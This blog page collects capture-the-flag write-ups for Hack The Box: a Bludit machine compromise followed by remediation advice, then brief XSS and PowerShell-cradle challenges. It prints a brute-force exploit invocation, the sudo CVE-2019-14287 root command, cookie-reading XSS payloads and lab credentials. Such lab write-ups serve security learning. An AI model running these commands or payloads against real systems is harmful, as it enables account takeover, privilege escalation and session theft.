2 – Username discovery and brute force bypass – EDB-48942 Default credentials of admin:admin failed. Researched Bludit 3.9.2 and found EDB-48942, a brute force protection bypass. Initial attempts with admin as the username failed. Checked the writeup hint and found /todo.txt on the site which was not discovered by any wordlist and contained the username fergus. Generated a custom password list from the site content using CeWL and ran the bypass exploit. Successfully authenticated.

cewl 10.129.95.225 > wordlist.txt python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p wordlist.txt

Credentials recovered: fergus:RolandDeschain

3 – Initial Access – Bludit file upload RCE – CVE-2019-16113 Researched authenticated RCE exploits for Bludit and found CVE-2019-16113, a file upload and directory traversal vulnerability allowing arbitrary PHP execution. Edited the exploit with the target URL and credentials, set up a listener, and executed it to obtain a shell as www-data.

4 – Lateral movement via second Bludit installation Enumerated /home and found two users, hugo and shaun. Poked around the filesystem and found a second newer Bludit installation in /var/www. This version contained a users database file with a SHA1 hash for hugo’s password. Cracked it instantly on CrackStation.

Credentials recovered: hugo:Password120

5 – Privilege Escalation – sudo CVE-2019-14287 Stabilized the shell and switched to hugo. Retrieved user.txt. Ran sudo -l and found hugo could run /bin/bash as any user except root. The sudo version was outdated and vulnerable to CVE-2019-14287 which allows bypassing the user exclusion by passing a user ID of -1, which sudo interprets as root.

sudo -u#-1 /bin/bash

Retrieved root.txt.

Key Takeaways
1. Bludit brute force protection bypass – EDB-48942 – The Bludit login was protected against brute force but a known bypass existed for version 3.9.2 that allowed unlimited password attempts. CMS security controls must be validated against known bypasses and kept fully patched. Rate limiting and brute force protection must be implemented at the web server or WAF level independently of the application.
2. Username disclosed in an unlinked text file – The username fergus was found in /todo.txt which was not linked from any page and not discovered by standard wordlists. Sensitive notes and todo files must never be stored in the web root. Any file in a web-accessible directory is potentially discoverable and must be treated as public.
3. Bludit arbitrary file upload RCE – CVE-2019-16113 (CVSS 8.8 High) – The authenticated Bludit instance was vulnerable to a file upload and path traversal exploit allowing arbitrary PHP execution. CMS platforms must be kept fully patched and file upload functionality must validate file types and restrict upload destinations.
4. Password hash for hugo stored in a readable second installation – A second Bludit installation in /var/www contained a user database file with a recoverable SHA1 password hash. SHA1 is not a suitable algorithm for password storage. Legacy application installs that are no longer in use must be removed from the filesystem entirely.
5. Weak password crackable instantly – Hugo’s password was cracked immediately on CrackStation, indicating it was a common password. All user passwords must meet complexity requirements that prevent instant lookup table cracking regardless of the hashing algorithm in use.
6. Outdated sudo vulnerable to CVE-2019-14287 (CVSS 8.8 High) – The sudo binary was running a version vulnerable to a user ID bypass allowing the exclusion of root in a sudo rule to be circumvented. Sudo must be kept up to date and all sudo rules must be tested against known bypass techniques.
Remediation

[Immediate] Patch Bludit to remediate EDB-48942 and CVE-2019-16113 (CVSS 8.8 High) Update Bludit to the latest patched version immediately. Both the brute force bypass and the file upload RCE have been patched. Restrict access to the Bludit admin panel to authorized IP ranges and implement MFA on the admin account. Deploy a WAF with CMS-specific rules as a compensating control.

[Immediate] Remove all unneeded files from the web root Audit the entire web root for notes, todo files, backup files, and any content not intended for public access. Remove /todo.txt and any similar files immediately. Implement a deployment process that excludes all non-application files from the web root.

[Immediate] Patch sudo to remediate CVE-2019-14287 (CVSS 8.8 High) Update sudo to the latest version on all Linux hosts immediately. CVE-2019-14287 has been patched since sudo 1.8.28 and its presence indicates the system has not been maintained. Establish a patch management process covering core OS utilities including sudo, bash, and other privileged binaries.

[Immediate] Remove the legacy Bludit installation Delete the second Bludit installation from /var/www entirely. Legacy application installs contain credentials, hashes, and configuration data that remain exploitable long after the application is abandoned. Implement a decommissioning process requiring complete removal of all application files when a service is retired.

[Short-term] Replace SHA1 password hashing with a modern algorithm Migrate all stored password hashes from SHA1 to bcrypt, scrypt, or Argon2. Force a password reset for all affected accounts. SHA1 is cryptographically broken for password storage and must not be used in any new or existing application.

[Short-term] Enforce strong passwords across all accounts Hugo’s password was cracked instantly on a public lookup service. Enforce a minimum password length of 14 characters with complexity requirements across all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Long-term] Implement a CMS lifecycle and hardening program Define a policy covering the full lifecycle of CMS deployments from initial hardening through active maintenance to decommissioning. Include patch cadence, admin panel access controls, file upload restrictions, web root hygiene, and legacy installation removal. Conduct regular web application penetration tests covering all CMS instances.
Full Stack Conf writeup

Full Stack Conf writeup

Challenge name: Full Stack Conf

Difficulty: Easy

Challenge Scenario: Welcome to Full Stack Conf, explore the future of JavaScript with a lineup of industry professionals and discover new techniques to advance your career as a web developer. But be very careful with the stay up to date form, we don’t sanitize anything and the admin logs in and checks the emails regularly, don’t try anything funny!! 😅

Link: https://app.hackthebox.com/challenges/Full%2520Stack%2520Conf?tab=play_challenge

Machine IP: 154.57.164.80:30664

It brings me to a website and at the bottom it gives us a hint.

Did a bit of testing with alert(). I was able to get the flag with:

<img src=x onerror=alert(1)>

GG
Phantom Script writeup

Phantom Script writeup

Challenge name: Phantom Script

Difficulty: Very Easy

Challenge Scenario: Phantom Script is a very easy web challenge where players can learn about Cross Site Scripting interactively.

Link: https://app.hackthebox.com/challenges/Phantom%2520Script?tab=play_challenge

Machine IP: 154.57.164.81:30383

Navigated to the site.

I ended up running.

<img src=x onerror=”alert(document.cookie)”>

And I got the flag.

GG
Alien Cradle writeup

Alien Cradle writeup

Challenge name: Alien Cradle

Difficulty:

Challenge Scenario: In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?

Link: https://app.hackthebox.com/challenges/Alien%2520Cradle?tab=play_challenge

Machine IP: NA

Unzipped the file the challenge came with. Read it.

It’s a sort of powershell script but you can see the flag in the script. Put the flag together and submitted it.

GG

kami@kali:~$ journalctl

Categories